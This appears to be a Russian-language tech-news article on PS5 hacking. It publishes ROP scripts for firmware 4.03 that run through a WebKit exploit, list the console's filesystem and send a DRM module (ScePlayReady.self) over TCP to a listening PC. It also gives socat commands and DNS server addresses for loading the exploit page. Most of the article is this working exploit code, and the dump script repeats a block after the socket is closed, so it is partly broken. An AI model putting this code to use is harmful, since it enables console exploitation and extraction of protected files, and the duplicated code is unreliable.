Взлом PS5: Скрипты для дампинга файловой системы на консолях с прошивкой 4.03

Взлом PS5: Скрипты для дампинга файловой системы на консолях с прошивкой 4.03

Для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.

Специализирующийся на взломе PlayStation хакер Bigboss опубликовал скрипты ROP (возвратно-ориентированного программирования) для перечисления и вывода данных из файловой системы PS5 с версией прошивки 4.03 с помощью webkit эксплоита. Конечно, получить весь дамп файлов не выйдет, а только файлы, доступные через разрешения webkit. Тем не менее, благодаря этому можно получить ясную картину файлов PS5.

Дампинг файловой системы PS5 с пошивкой 4.03. Инструкция

Наверное, это очевидно, но для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.

Необходимо будет модифицировать выполнение ROP в пользовательском пространстве. Эти файлы были выпущены ChendoChap и ZnullPtr некоторое время назад и доступны здесь .

После строчки 650 скрипта exploit.js (alert(`sys_getpid: ${pid}`);), скорее всего, потребуется удалить раздел образцов (Threading Sample и Branch Sample) и заменить их представленным ниже кодом от Bigboss.

Далее нужно сохранить полученные файлы на сервере и загрузить index.html через браузер PS5 (например, можно воспользоваться одним из DNS от Al-Azif: 165.227.83.145 или 192.241.221.79, получить доступ к странице с руководством для пользователя на PS5, а затем воспользоваться URL-переадресатором).

Скрипт для перечисления файлов и папок (также дает имя строке sandbox, полупроизвольное имя папки под конкретного пользователя):

let directory=malloc(256,1);
  p.writestr(directory.add32(0),"/");
  let retopen=await chain.syscall(5,directory,0,0);
  let directoryBuffer=malloc(1024*1024,1);
  let directorySize=1024*1024;
  let retgetdent=await chain.syscall(272,retopen,directoryBuffer,directorySize);
  let numbytes=parseInt(retgetdent,16);
  let entry;
  let num_entry=0; 
  let d_fileno;
  let d_reclen;
  let d_type;
  let d_namelen;
  let d_name;
  let position=0;
  for(position=0;position<numbytes;){ 
    entry=directoryBuffer.add32(position); 
    d_fileno=p.read4(entry.add32(0));   
    d_reclen=p.read2(entry.add32(4)); 
    d_type=p.read1(entry.add32(6));   
    d_namelen=p.read1(entry.add32(7)); 
    d_name=p.readstr(entry.add32(8));
    alert("num_entry=${num_entry} d_reclen=${d_reclen} d_type=${d_type} d_namelen=${d_namelen} d_name=${d_name} position=${position}");
     position=position+d_reclen;
     parseInt(position)+parseInt(d_reclen,16); 
     num_entry++; 
  } 

Скрипт для создания дампа файла в целевом файле на компьютере:

//POST EXPLOIT STUFF HERE
  //change once per file name
  //use for example in your pc socat -u TCP-LISTEN:18194,reuseaddr OPEN:ScePlayReady.self,creat,trunc
  let tcpsocket=await chain.syscall(97,2,1,0);
  alert(`sys_socket: ${tcpsocket}`);
  let tcpsocketaddr=malloc(16,1);
  p.write1(tcpsocketaddr.add32(1),2);
  p.write2(tcpsocketaddr.add32(2),0x1247);
  //change ip for your pc
  p.write4(tcpsocketaddr.add32(4),0xCD01A8C0); //192(C0)168(A8)1(01)205(CD)
  alert(`before sys_connect`);
  let ret_tcpconnect=await chain.syscall(98,tcpsocket,tcpsocketaddr,16);
  alert(`sys_connect: ${ret_tcpconnect}`);
  //the right way is to use stat get size but this is quick and dirty test
  let tcpmessage=malloc(34406400,1);
  let tcpmessage_size=34406400;
  let file=malloc(256,1);
  p.writestr(file.add32(0),"/RcDZV3xbd4/common/lib/ScePlayReady.self");//example path /RcDZV3xbd4/common/lib/ScePlayReady.self, change RcDZV3xbd4 to your sandbox string
  let retopen_file=await chain.syscall(5,file,0,0);
  alert(`syscall_open return ${retopen_file}\n`);
  let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size);
  alert(`before sys_sendto read ${file_read}`);
  let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0);
  alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`);
  let ret_close=await chain.syscall(6,tcpsocket);
  alert(`sys_close: ${ret_close}`);
  alert(`syscall_open return ${retopen_file}\n`);
  let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size);
  alert(`before sys_sendto read ${file_read}`);
  let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0);
  alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`);
  let ret_close=await chain.syscall(6,tcpsocket);
  alert(`sys_close: ${ret_close}`);
  //size used was for a self file
  //after all this your ScePlayReady.self file is created and closed

Конечно, энтузиасты, работающие над взломом PS5, уже наверняка получили файлы с помощью этого механизма (и, вероятно, смогли получить еще больше другими способами), но для тех, кто просто хочет посмотреть, как это делается, представленные выше скрипты являются самым простым способом.

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться